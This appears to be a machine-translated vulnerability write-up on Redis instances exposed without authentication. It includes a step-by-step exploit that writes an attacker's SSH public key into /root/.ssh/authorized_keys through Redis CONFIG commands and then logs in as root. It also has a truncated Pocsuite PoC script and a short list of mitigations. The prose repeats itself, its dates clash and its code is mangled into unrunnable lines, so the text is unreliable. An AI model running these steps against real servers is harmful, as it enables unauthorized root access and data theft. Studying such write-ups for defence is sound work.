Unauthorized access defects in Redis can easily lead to system hacking

Unauthorized access defects in Redis can easily lead to system hacking
Vulnerability summary Redis is bound to 0.0.0.0: 6379 by default. This will expose the Redis service to the public network. If authentication is not enabled, attackers can access Redis and read Redis data without authorization when they can access the target server. Attackers can use Redis-related methods to write their own public keys to the/root/of the target server without authorization /. in the authotrized_keys file of the ssh folder, you can directly log on to the target server. Vulnerability overview Redis is bound to 0.0.0.0: 6379 by default. This will expose the Redis service to the public network. If authentication is not enabled, attackers can access Redis and read Redis data without authorization when they can access the target server. Attackers can use Redis-related methods to write their own public keys to the/root/of the target server without authorization /. in the authotrized_keys file of the ssh folder, you can directly log on to the target server. The concept of the Redis security model described in the vulnerability description is: "Please do not expose Redis to public networks, because it is very dangerous to expose untrusted customers to Redis ". The reason why the Redis author gave up solving the security problem caused by unauthorized access is that 99.99% of the use of Redis is in a sandbox environment, the increase in security rules for 0.01% of the potential also increases complexity. Although this problem cannot be solved, it is still not cost-effective in his design philosophy. Because other trusted users need to use Redis or O & M personnel neglect, some Redis instances are bound to 0.0.0.0: 6379, and authentication is not enabled (this is the default configuration of Redis ), if the related policies are not adopted, such as adding firewall rules to avoid access from other untrusted source ip addresses, the Redis service will be directly exposed to the public network, as a result, other users can directly access the Redis service and perform related operations without authorization. Using Redis's own related methods, attackers can write files. Attackers can successfully write their own public keys to the/root/of the target server /. in the authotrized_keys file of the ssh folder, you can directly log on to the target server. The vulnerability affects Redis exposure to the public network (that is, it is bound to 0.0.0.0: 6379, and the target IP address can be accessed through the public network). In addition, the vulnerability can be exploited if authentication is not enabled or related security policies are added. The ZoomEye search results show that 97700 of Redis services can be directly accessed on the public network. According to the results of ZoomEye's latest test on January 1, November 12, 2015, the total number of global targets for direct use of Redis services is 49099, of which 16477 are in China. The proportion of crackit written, that is, the proportion that has been hacked, is 65% (31 thousand) globally and 67.5% (11 thousand) in China ). 1.1. Vulnerability Analysis and exploitation first produce public/private key files locally:

$ssh-keygen –t rsa

Then, write the public key into the foo.txt file.

$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt

Connect to Redis and write the file

$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit$ redis-cli -h 192.168.1.11$ 192.168.1.11:6379> config set dir /root/.ssh/OK$ 192.168.1.11:6379> config get dir1) "dir"2) "/root/.ssh"$ 192.168.1.11:6379> config set dbfilename "authorized_keys"OK$ 192.168.1.11:6379> saveOK

In this way, you can successfully write your own public key to the authotrized_keys file in the/root/. ssh folder, and then the attacker can directly execute:

$ ssh –i  id_rsa [email protected]

 

You can remotely use your private key to log on to the server. Of course, the written directory is not limited to/root /. authorized_keys under ssh can also be written to the user directory. However, many Redis instances run with root permissions. Therefore, to write data to the root directory, you can skip the user guessing step. Other dangers of Redis authorization and the use of database data leakage Redis as a database stores a variety of data, if there is unauthorized access, it will lead to data leakage, it contains stored user information. Code execution Redis can nest Lua scripts. This will cause code execution, endangering code execution on other servers. For example, once an attacker can execute arbitrary code on the server, attack methods will become much more complex, which is very dangerous. attackers can use Lua code to call redis. the sha1hex () function maliciously uses the Redis server for SHA-1 cracking. Sensitive information leaks through the Redis INFO command, you can view server-related parameters and sensitive information, paving the way for subsequent penetration by attackers. We can see that a lot of Redis server information is leaked, including the current Redis version, memory running status, server count, and other sensitive information.

Vulnerability PoC

#! /Usr/bin/env python #-*-coding: UTF-8-*-import socketimport urlparsefrom pocsuite. poc import POCBase, Outputfrom pocsuite. utils import registerclass TestPOC (POCBase ): vulID = '000000' version = '1' author = ['anonus us'] vulDate = '2017-10-26 'createDate = '2017-10-26' updateDate = '2017-10-26 'references = ['HTTP: // sebug.net/vuldb/ssvid-89339'] name = 'unauthorized access to PoC in Redis 'appPowerLink = 'HTTP: // redis . Io/'appname = 'redis 'appVersion = 'all' vulType = 'unauthorized access' desc = ''' Redis can be accessed without a password by default, hackers can directly access the database to obtain all information, causing serious information leakage. '''Samples = [''] def _ verify (self ): result = {} payload = '\ x2a \ x31 \ x0d \ x0a \ x24 \ x34 \ x0d \ x0a \ x69 \ x6e \ x66 \ x6f \ x0d \ x0a's = socket. socket () socket. setdefatimetimeout (10) try: host = urlparse. urlparse (self. url ). netloc port = 6379 s. connect (host, port) s. send (payload)

Temporary solution: configure the bind option to limit the IP address that can connect to the Redis server and modify the default port 6379 of redis. Configure AUTH and set the password. The password is saved in the redis configuration file in plaintext. Configure rename-command CONFIG "RENAME_CONFIG" to make it more difficult for attackers to use the config command even if unauthorized access exists.
The good news is that the author of Redis said that "real user" will be developed to distinguish between common users and admin permissions. Common users will be banned from running certain commands, such as config.